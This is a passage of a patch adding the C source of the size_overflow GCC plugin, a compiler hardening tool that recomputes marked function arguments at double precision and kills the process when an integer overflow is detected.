++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute
++ * with double integer precision (DImode/TImode for 32/64 bit integer types).
++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed.
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c
++ * $ gcc -fplugin=size_overflow_plugin.so test.c  -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "intl.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "toplev.h"
++#include "function.h"
++#include "tree-flow.h"
++#include "plugin.h"
++#include "gimple.h"
++#include "c-common.h"
++#include "diagnostic.h"
++#include "cfgloop.h"
++
++#if BUILDING_GCC_VERSION >= 4007
++#include "c-tree.h"
++#else
++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP)
++#endif
++
++struct size_overflow_hash {
++	const struct size_overflow_hash * const next;
++	const char * const name;
++	const unsigned int param;
++};
++
++#include "size_overflow_hash.h"
++
++enum marked {
++	MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL
++};
++
++#define __unused __attribute__((__unused__))
++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node))
++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node))
++#define BEFORE_STMT true
++#define AFTER_STMT false
++#define CREATE_NEW_VAR NULL_TREE
++#define CODES_LIMIT 32
++#define MAX_PARAM 32
++#define MY_STMT GF_PLF_1
++#define NO_CAST_CHECK GF_PLF_2
++
++#if BUILDING_GCC_VERSION == 4005
++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE)))
++#endif
++
++int plugin_is_GPL_compatible;
++void debug_gimple_stmt(gimple gs);
++
++static tree expand(struct pointer_set_t *visited, tree lhs);
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs);
++static tree report_size_overflow_decl;
++static const_tree const_char_ptr_type_node;
++static unsigned int handle_function(void);
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before);
++static tree get_size_overflow_type(gimple stmt, const_tree node);
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3);
++
++static struct plugin_info size_overflow_plugin_info = {
++	.version	= "20120930beta",
++	.help		= "no-size-overflow\tturn off size overflow checking\n",
++};
++
++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	default:
++		*no_add_attrs = true;
++		error("%s: %qE attribute only applies to functions", __func__, name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static const char* get_asm_name(tree node)
++{
++	return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node));
++}
++
++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count, arg_num;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	case FIELD_DECL:
++		arg_num = TREE_INT_CST_LOW(TREE_VALUE(args));
++		if (arg_num != 0) {
++			*no_add_attrs = true;
++			error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name);
++		}
++		return NULL_TREE;
++	default:
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec size_overflow_attr = {
++	.name				= "size_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_size_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static struct attribute_spec intentional_overflow_attr = {
++	.name				= "intentional_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_intentional_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void __unused *event_data, void __unused *data)
++{
++	register_attribute(&size_overflow_attr);
++	register_attribute(&intentional_overflow_attr);
++}
++
++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html
++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed)
++{
++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); }
++#define cwmixa( in ) { cwfold( in, m, k, h ); }
++#define cwmixb( in ) { cwfold( in, n, h, k ); }
++
++	unsigned int m = 0x57559429;
++	unsigned int n = 0x5052acdb;
++	const unsigned int *key4 = (const unsigned int *)key;
++	unsigned int h = len;
++	unsigned int k = len + seed + n;
++	unsigned long long p;
++
++	while (len >= 8) {
++		cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2;
++		len -= 8;
++	}
++	if (len >= 4) {
++		cwmixb(key4[0]) key4 += 1;
++		len -= 4;
++	}
++	if (len)
++		cwmixa(key4[0] & ((1 << (len * 8)) - 1 ));
++	cwmixb(h ^ (k + n));
++	return k ^ h;
++
++#undef cwfold
++#undef cwmixa
++#undef cwmixb
++}
++
++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed)
++{
++	unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff;
++	unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff;
++	return fn ^ codes;
++}
++
++static inline tree get_original_function_decl(tree fndecl)
++{
++	if (DECL_ABSTRACT_ORIGIN(fndecl))
++		return DECL_ABSTRACT_ORIGIN(fndecl);
++	return fndecl;
++}
++
++static inline gimple get_def_stmt(const_tree node)
++{
++	gcc_assert(node != NULL_TREE);
++	gcc_assert(TREE_CODE(node) == SSA_NAME);
++	return SSA_NAME_DEF_STMT(node);
++}
++
++static unsigned char get_tree_code(const_tree type)
++{
++	switch (TREE_CODE(type)) {
++	case ARRAY_TYPE:
++		return 0;
++	case BOOLEAN_TYPE:
++		return 1;
++	case ENUMERAL_TYPE:
++		return 2;
++	case FUNCTION_TYPE:
++		return 3;
++	case INTEGER_TYPE:
++		return 4;
++	case POINTER_TYPE:
++		return 5;
++	case RECORD_TYPE:
++		return 6;
++	case UNION_TYPE:
++		return 7;
++	case VOID_TYPE:
++		return 8;
++	case REAL_TYPE:
++		return 9;
++	case VECTOR_TYPE:
++		return 10;
++	case REFERENCE_TYPE:
++		return 11;
++	case OFFSET_TYPE:
++		return 12;
++	case COMPLEX_TYPE:
++		return 13;
++	default:
++		debug_tree((tree)type);
++		gcc_unreachable();
++	}
++}
++
++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len)
++{
++	gcc_assert(type != NULL_TREE);
++
++	while (type && len < CODES_LIMIT) {
++		tree_codes[len] = get_tree_code(type);
++		len++;
++		type = TREE_TYPE(type);
++	}
++	return len;
++}
++
++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes)
++{
++	const_tree arg, result, arg_field, type = TREE_TYPE(fndecl);
++	enum tree_code code = TREE_CODE(type);
++	size_t len = 0;
++
++	gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE);
++
++	arg = TYPE_ARG_TYPES(type);
++	// skip builtins __builtin_constant_p
++	if (!arg && DECL_BUILT_IN(fndecl))
++		return 0;
++
++	if (TREE_CODE_CLASS(code) == tcc_type)
++		result = type;
++	else
++		result = DECL_RESULT(fndecl);
++
++	gcc_assert(result != NULL_TREE);
++	len = add_type_codes(TREE_TYPE(result), tree_codes, len);
++
++	if (arg == NULL_TREE) {
++		gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON));
++		arg_field = DECL_ARGUMENT_FLD(fndecl);
++		if (arg_field == NULL_TREE)
++			return 0;
++		arg = TREE_TYPE(arg_field);
++		len = add_type_codes(arg, tree_codes, len);
++		gcc_assert(len != 0);
++		return len;
++	}
++
++	gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST);
++	while (arg && len < CODES_LIMIT) {
++		len = add_type_codes(TREE_VALUE(arg), tree_codes, len);
++		arg = TREE_CHAIN(arg);
++	}
++
++	gcc_assert(len != 0);
++	return len;
++}
++
++static const struct size_overflow_hash *get_function_hash(tree fndecl)
++{
++	unsigned int hash;
++	const struct size_overflow_hash *entry;
++	unsigned char tree_codes[CODES_LIMIT];
++	size_t len;
++	const char *func_name = get_asm_name(fndecl);
++
++	len = get_function_decl(fndecl, tree_codes);
++	if (len == 0)
++		return NULL;
++
++	hash = get_hash_num(func_name, (const char*) tree_codes, len, 0);
++
++	entry = size_overflow_hash[hash];
++	while (entry) {
++		if (!strcmp(entry->name, func_name))
++			return entry;
++		entry = entry->next;
++	}
++
++	return NULL;
++}
++
++static void check_arg_type(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	enum tree_code code = TREE_CODE(type);
++
++	gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) ||
++		  (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE));
++}
++
++static int find_arg_number(const_tree arg, tree func)
++{
++	tree var;
++	unsigned int argnum = 1;
++
++	if (TREE_CODE(arg) == SSA_NAME)
++		arg = SSA_NAME_VAR(arg);
++
++	for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) {
++		if (strcmp(NAME(arg), NAME(var))) {
++			argnum++;
++			continue;
++		}
++		check_arg_type(var);
++		return argnum;
++	}
++	gcc_unreachable();
++}
++
++static tree create_new_var(tree type)
++{
++	tree new_var = create_tmp_var(type, "cicus");
++
++	add_referenced_var(new_var);
++	mark_sym_for_renaming(new_var);
++	return new_var;
++}
++
++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2)
++{
++	gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree type = TREE_TYPE(rhs1);
++	tree lhs = create_new_var(type);
++
++	assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2);
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++	return assign;
++}
++
++static bool is_bool(const_tree node)
++{
++	const_tree type;
++
++	if (node == NULL_TREE)
++		return false;
++
++	type = TREE_TYPE(node);
++	if (!INTEGRAL_TYPE_P(type))
++		return false;
++	if (TREE_CODE(type) == BOOLEAN_TYPE)
++		return true;
++	if (TYPE_PRECISION(type) == 1)
++		return true;
++	return false;
++}
++
++static tree cast_a_tree(tree type, tree var)
++{
++	gcc_assert(type != NULL_TREE);
++	gcc_assert(var != NULL_TREE);
++	gcc_assert(fold_convertible_p(type, var));
++
++	return fold_convert(type, var);
++}
++
++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before)
++{
++	gimple assign;
++
++	gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE);
++	if (gsi_end_p(*gsi) && before == AFTER_STMT)
++		gcc_unreachable();
++
++	if (lhs == CREATE_NEW_VAR)
++		lhs = create_new_var(dst_type);
++
++	assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs));
++
++	if (!gsi_end_p(*gsi)) {
++		location_t loc = gimple_location(gsi_stmt(*gsi));
++		gimple_set_location(assign, loc);
++	}
++
++	gimple_set_lhs(assign, make_ssa_name(lhs, assign));
++
++	if (before)
++		gsi_insert_before(gsi, assign, GSI_NEW_STMT);
++	else
++		gsi_insert_after(gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	gimple_set_plf(assign, MY_STMT, true);
++
++	return assign;
++}
++
++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi;
++
++	if (new_rhs1 == NULL_TREE)
++		return NULL_TREE;
++
++	if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) {
++		gsi = gsi_for_stmt(stmt);
++		assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before);
++		return gimple_get_lhs(assign);
++	}
++	return new_rhs1;
++}
++
++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3)
++{
++	tree size_overflow_type = get_size_overflow_type(stmt, node);
++
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs2 != NULL_TREE)
++		new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT);
++
++	if (new_rhs3 != NULL_TREE)
++		new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT);
++
++	return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3);
++}
++
++
++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before)
++{
++	tree size_overflow_type, lhs;
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++
++	if (rhs1 == NULL_TREE) {
++		debug_gimple_stmt(oldstmt);
++		error("%s: rhs1 is NULL_TREE", __func__);
++		gcc_unreachable();
++	}
++
++	if (gimple_code(oldstmt) == GIMPLE_ASM)
++		lhs = rhs1;
++	else
++		lhs = gimple_get_lhs(oldstmt);
++
++	gsi = gsi_for_stmt(oldstmt);
++	pointer_set_insert(visited, oldstmt);
++	if (lookup_stmt_eh_lp(oldstmt) != 0) {
++		basic_block next_bb, cur_bb;
++		const_edge e;
++
++		gcc_assert(before == false);
++		gcc_assert(stmt_can_throw_internal(oldstmt));
++		gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL);
++		gcc_assert(!gsi_end_p(gsi));
++
++		cur_bb = gimple_bb(oldstmt);
++		next_bb = cur_bb->next_bb;
++		e = find_edge(cur_bb, next_bb);
++		gcc_assert(e != NULL);
++		gcc_assert(e->flags & EDGE_FALLTHRU);
++
++		gsi = gsi_after_labels(next_bb);
++		gcc_assert(!gsi_end_p(gsi));
++
++		before = true;
++		oldstmt = gsi_stmt(gsi);
++	}
++
++	size_overflow_type = get_size_overflow_type(oldstmt, lhs);
++
++	stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before);
++	gimple_set_plf(stmt, MY_STMT, true);
++	return gimple_get_lhs(stmt);
++}
++
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3)
++{
++	gimple stmt;
++	gimple_stmt_iterator gsi;
++	tree new_var, lhs = gimple_get_lhs(oldstmt);
++
++	if (gimple_plf(oldstmt, MY_STMT))
++		return lhs;
++
++	if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) {
++		rhs1 = gimple_assign_rhs1(oldstmt);
++		rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT);
++	}
++	if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) {
++		rhs2 = gimple_assign_rhs2(oldstmt);
++		rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT);
++	}
++
++	stmt = gimple_copy(oldstmt);
++	gimple_set_location(stmt, gimple_location(oldstmt));
++	gimple_set_plf(stmt, MY_STMT, true);
++
++	if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR)
++		gimple_assign_set_rhs_code(stmt, MULT_EXPR);
++
++	if (is_bool(lhs))
++		new_var = SSA_NAME_VAR(lhs);
++	else
++		new_var = create_new_var(size_overflow_type);
++	new_var = make_ssa_name(new_var, stmt);
++	gimple_set_lhs(stmt, new_var);
++
++	if (rhs1 != NULL_TREE) {
++		if (!gimple_assign_cast_p(oldstmt))
++			rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		gimple_assign_set_rhs1(stmt, rhs1);
++	}
++
++	if (rhs2 != NULL_TREE)
++		gimple_assign_set_rhs2(stmt, rhs2);
++#if BUILDING_GCC_VERSION >= 4007
++	if (rhs3 != NULL_TREE)
++		gimple_assign_set_rhs3(stmt, rhs3);
++#endif
++	gimple_set_vuse(stmt, gimple_vuse(oldstmt));
++	gimple_set_vdef(stmt, gimple_vdef(oldstmt));
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, stmt, GSI_SAME_STMT);
++	update_stmt(stmt);
++	pointer_set_insert(visited, oldstmt);
++	return gimple_get_lhs(stmt);
++}
++
++static gimple overflow_create_phi_node(gimple oldstmt, tree result)
++{
++	basic_block bb;
++	gimple phi;
++	gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt);
++
++	bb = gsi_bb(gsi);
++
++	phi = create_phi_node(result, bb);
++	gsi = gsi_last(phi_nodes(bb));
++	gsi_remove(&gsi, false);
++
++	gsi = gsi_for_stmt(oldstmt);
++	gsi_insert_after(&gsi, phi, GSI_NEW_STMT);
++	gimple_set_bb(phi, bb);
++	gimple_set_plf(phi, MY_STMT, true);
++	return phi;
++}
++
++static basic_block create_a_first_bb(void)
++{
++	basic_block first_bb;
++
++	first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR);
++	return first_bb;
++}
++
++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i)
++{
++	basic_block bb;
++	const_gimple newstmt;
++	gimple_stmt_iterator gsi;
++	bool before = BEFORE_STMT;
++
++	if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) {
++		gsi = gsi_for_stmt(get_def_stmt(arg));
++		newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT);
++		return gimple_get_lhs(newstmt);
++	}
++
++	bb = gimple_phi_arg_edge(oldstmt, i)->src;
++	gsi = gsi_after_labels(bb);
++	if (bb->index == 0) {
++		bb = create_a_first_bb();
++		gsi = gsi_start_bb(bb);
++	}
++	newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before);
++	return gimple_get_lhs(newstmt);
++}
++
++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs)
++{
++	gimple newstmt;
++	gimple_stmt_iterator gsi;
++	void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update);
++	gimple def_newstmt = get_def_stmt(new_rhs);
++
++	gsi_insert = gsi_insert_after;
++	gsi = gsi_for_stmt(def_newstmt);
++
++	switch (gimple_code(get_def_stmt(arg))) {
++	case GIMPLE_PHI:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		gsi = gsi_after_labels(gimple_bb(def_newstmt));
++		gsi_insert = gsi_insert_before;
++		break;
++	case GIMPLE_ASM:
++	case GIMPLE_CALL:
++		newstmt = gimple_build_assign(new_var, new_rhs);
++		break;
++	case GIMPLE_ASSIGN:
++		newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt));
++		break;
++	default:
++		/* unknown gimple_code (handle_build_new_phi_arg) */
++		gcc_unreachable();
++	}
++
++	gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt));
++	gsi_insert(&gsi, newstmt, GSI_NEW_STMT);
++	gimple_set_plf(newstmt, MY_STMT, true);
++	update_stmt(newstmt);
++	return newstmt;
++}
++
++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var)
++{
++	const_gimple newstmt;
++	gimple def_stmt;
++	tree new_rhs;
++
++	new_rhs = expand(visited, arg);
++	if (new_rhs == NULL_TREE)
++		return NULL_TREE;
++
++	def_stmt = get_def_stmt(new_rhs);
++	if (gimple_code(def_stmt) == GIMPLE_NOP)
++		return NULL_TREE;
++	new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT);
++
++	newstmt = handle_new_phi_arg(arg, new_var, new_rhs);
++	return gimple_get_lhs(newstmt);
++}
++
++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result)
++{
++	gimple phi, oldstmt = get_def_stmt(orig_result);
++	tree new_result, size_overflow_type;
++	unsigned int i;
++	unsigned int n = gimple_phi_num_args(oldstmt);
++
++	size_overflow_type = get_size_overflow_type(oldstmt, orig_result);
++
++	new_result = create_new_var(size_overflow_type);
++
++	pointer_set_insert(visited, oldstmt);
++	phi = overflow_create_phi_node(oldstmt, new_result);
++	for (i = 0; i < n; i++) {
++		tree arg, lhs;
++
++		arg = gimple_phi_arg_def(oldstmt, i);
++		if (is_gimple_constant(arg))
++			arg = cast_a_tree(size_overflow_type, arg);
++		lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result);
++		if (lhs == NULL_TREE)
++			lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i);
++		add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt));
++	}
++
++	update_stmt(phi);
++	return gimple_phi_result(phi);
++}
++
++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(orig_rhs);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN);
++
++	assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	return gimple_get_lhs(assign);
++}
++
++static void change_rhs1(gimple stmt, tree new_rhs1)
++{
++	tree assign_rhs;
++	const_tree rhs = gimple_assign_rhs1(stmt);
++
++	assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1);
++	gimple_assign_set_rhs1(stmt, assign_rhs);
++	update_stmt(stmt);
++}
++
++static bool check_mode_type(const_gimple stmt)
++{
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree lhs_type = TREE_TYPE(lhs);
++	const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt));
++	enum machine_mode lhs_mode = TYPE_MODE(lhs_type);
++	enum machine_mode rhs_mode = TYPE_MODE(rhs_type);
++
++	if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type)))
++		return false;
++
++	return true;
++}
++
++static bool check_undefined_integer_operation(const_gimple stmt)
++{
++	const_gimple def_stmt;
++	const_tree lhs = gimple_get_lhs(stmt);
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type))
++		return false;
++
++	def_stmt = get_def_stmt(rhs1);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN)
++		return false;
++
++	if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR)
++		return false;
++	return true;
++}
++
++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs)
++{
++	const_tree rhs1, lhs, rhs1_type, lhs_type;
++	enum machine_mode lhs_mode, rhs_mode;
++	gimple def_stmt = get_def_stmt(no_const_rhs);
++
++	if (!gimple_assign_cast_p(def_stmt))
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	lhs = gimple_get_lhs(def_stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	lhs_type = TREE_TYPE(lhs);
++	rhs_mode = TYPE_MODE(rhs1_type);
++	lhs_mode = TYPE_MODE(lhs_type);
++	if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode)
++		return false;
++
++	return true;
++}
++
++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt)
++{
++	tree size_overflow_type, lhs = gimple_get_lhs(stmt);
++	tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs1_type = TREE_TYPE(rhs1);
++	const_tree lhs_type = TREE_TYPE(lhs);
++
++	new_rhs1 = expand(visited, rhs1);
++
++	if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return lhs;
++
++	if (gimple_plf(stmt, NO_CAST_CHECK))
++		return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE);
++
++	if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) {
++		size_overflow_type = get_size_overflow_type(stmt, rhs1);
++		new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++		check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++	}
++
++	if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt))
++		return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE);
++
++	size_overflow_type = get_size_overflow_type(stmt, rhs1);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	change_rhs1(stmt, new_rhs1);
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT);
++
++	rhs1 = gimple_assign_rhs1(stmt);
++	rhs1_type = TREE_TYPE(rhs1);
++	if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type))
++		return create_assign(visited, stmt, rhs1, AFTER_STMT);
++
++	if (!check_mode_type(stmt))
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	size_overflow_type = get_size_overflow_type(stmt, lhs);
++	new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT);
++
++	check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(def_stmt);
++
++	if (is_gimple_constant(rhs1))
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	gcc_assert(TREE_CODE(rhs1) != COND_EXPR);
++	switch (TREE_CODE(rhs1)) {
++	case SSA_NAME:
++		return handle_unary_rhs(visited, def_stmt);
++	case ARRAY_REF:
++	case BIT_FIELD_REF:
++	case ADDR_EXPR:
++	case COMPONENT_REF:
++	case INDIRECT_REF:
++#if BUILDING_GCC_VERSION >= 4006
++	case MEM_REF:
++#endif
++	case PARM_DECL:
++	case TARGET_MEM_REF:
++	case VAR_DECL:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++
++	default:
++		debug_gimple_stmt(def_stmt);
++		debug_tree(rhs1);
++		gcc_unreachable();
++	}
++}
++
++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value)
++{
++	gimple cond_stmt;
++	gimple_stmt_iterator gsi = gsi_last_bb(cond_bb);
++
++	cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE);
++	gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(cond_stmt);
++}
++
++static tree create_string_param(tree string)
++{
++	tree i_type, a_type;
++	const int length = TREE_STRING_LENGTH(string);
++
++	gcc_assert(length > 0);
++
++	i_type = build_index_type(build_int_cst(NULL_TREE, length - 1));
++	a_type = build_array_type(char_type_node, i_type);
++
++	TREE_TYPE(string) = a_type;
++	TREE_CONSTANT(string) = 1;
++	TREE_READONLY(string) = 1;
++
++	return build1(ADDR_EXPR, ptr_type_node, string);
++}
++
